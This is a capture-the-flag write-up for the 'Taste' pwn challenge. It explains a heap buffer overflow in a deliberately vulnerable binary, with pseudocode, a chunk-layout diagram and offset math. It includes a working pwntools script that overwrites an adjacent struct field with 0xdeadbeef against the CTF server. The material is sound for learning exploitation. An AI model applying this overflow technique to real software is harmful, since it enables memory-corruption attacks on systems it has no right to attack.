Taste
Taste
Platform: grodno_new_year_2026 | Category: pwn | Type: Challenge | Difficulty: Easy | OS: Linux | Author: XESXOR | Date: 2026-01-10 | Status: Solved Techniques: chunk_layout_analysis, heap_buffer_overflow, structure_overwrite
Summary
Task: Binary that allocates a 16-byte name buffer and an adjacent 8-byte check structure on the heap, reading 100 bytes into the name. Solution: Overflowed the heap buffer with 36 bytes of padding to reach the check structure's field2, then wrote 0xdeadbeef to pass the magic value comparison and trigger flag printing.
Taste - Grodno New Year 2026 CTF
Challenge Info
| Field | Value |
|---|---|
| Event | Grodno New Year 2026 |
| Task ID | 393 |
| Category | Pwn |
| Difficulty | Easy |
| Points | 486 |
| Server | nc ctf.mf.grsu.by 9071 |
Description
Максим утверждает, что он жив и полон сил. Но внутри он уже давно мертв. Вам осталось только это подтвердить.
(Maxim claims that he is alive and full of energy. But inside, he has been dead for a long time. All you have to do is confirm it.)
Files Provided
taste- ELF 64-bit binarylibc.so.6- libc libraryld-linux-x86-64.so.2- dynamic linker
Analysis
Binary Security
$ checksec taste
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
Key observations:
- No PIE - Fixed addresses, easy to exploit
- No canary - Stack overflow possible (not needed here)
- Partial RELRO - GOT overwrite possible (not needed here)
Vulnerability Analysis
The binary contains a classic heap buffer overflow vulnerability:
c read-only • copy allowed// Pseudocode from reverse engineering char *name = malloc(0x10); // 16 bytes allocated struct check *c = malloc(0x8); // 8 bytes allocated c->field1 = 1; c->field2 = 0; printf("Enter name:"); read(0, name, 0x64); // BUG: reads 100 bytes into 16-byte buffer! if (c->field2 == 0xdeadbeef) { print_flag(); }
The vulnerability is clear:
namebuffer is only 16 bytesread()accepts up to 100 bytes (0x64)- The
checkstructure is allocated right afternameon the heap - Overflow from
namecan overwritecheck->field2
Heap Layout
Understanding glibc malloc chunk layout is crucial:
+------------------+
| name chunk |
+------------------+
| 0x00-0x0F: data | <- 16 bytes for name
+------------------+
| 0x10-0x17: pad | <- 8 bytes padding/alignment
+------------------+
| check chunk hdr |
+------------------+
| 0x18-0x1F: hdr | <- malloc chunk header (prev_size + size)
+------------------+
| 0x20-0x23: f1 | <- check->field1 (4 bytes) = 1
| 0x24-0x27: f2 | <- check->field2 (4 bytes) = 0 (TARGET!)
+------------------+
Offset calculation:
- name buffer: 16 bytes (0x00-0x0F)
- padding: 8 bytes (0x10-0x17)
- chunk header: 8 bytes (0x18-0x1F)
- field1: 4 bytes (0x20-0x23)
- field2 at offset 36 (0x24)
Solution
Exploit Strategy
- Send 36 bytes of padding to reach
field2 - Append
0xdeadbeefin little-endian format - The check passes,
print_flag()is called
Exploit Code
python read-only • copy allowed#!/usr/bin/env python3 from pwn import * def exploit(): # Connect to remote server p = remote('ctf.mf.grsu.by', 9071) # Wait for prompt p.recvuntil(b'Enter name:') # Build payload: # - 36 bytes padding to reach check->field2 # - 0xdeadbeef in little-endian (magic value) payload = b'A' * 36 + p32(0xdeadbeef) # Send payload p.sendline(payload) # Receive flag response = p.recvall(timeout=3) print(f"Response: {response.decode()}") p.close() if __name__ == '__main__': exploit()
Execution
$ python3 solve.py
[+] Opening connection to ctf.mf.grsu.by on port 9071: Done
[+] Receiving all data: Done (32B)
[*] Closed connection to ctf.mf.grsu.by port 9071
Response: grodno{REDACTED}
Key Takeaways
Indicators for This Technique
Use heap buffer overflow when you see:
malloc()followed byread()/gets()/scanf()with size mismatch- Adjacent heap allocations with sensitive data
- Magic value comparisons after user input
- No bounds checking on input
Heap Exploitation Basics
- Chunk layout matters - Adjacent allocations are predictable
- Metadata overhead - Each chunk has 8-16 bytes of header
- Alignment - glibc aligns to 16 bytes on x86_64
- Overflow direction - Lower addresses overflow into higher addresses
Similar Challenges
This is a classic "baby heap" challenge pattern:
- Allocate buffer A
- Allocate structure B with important field
- Overflow A to corrupt B
- Trigger check on B's corrupted field
References
- Heap Exploitation - how2heap
- Understanding glibc malloc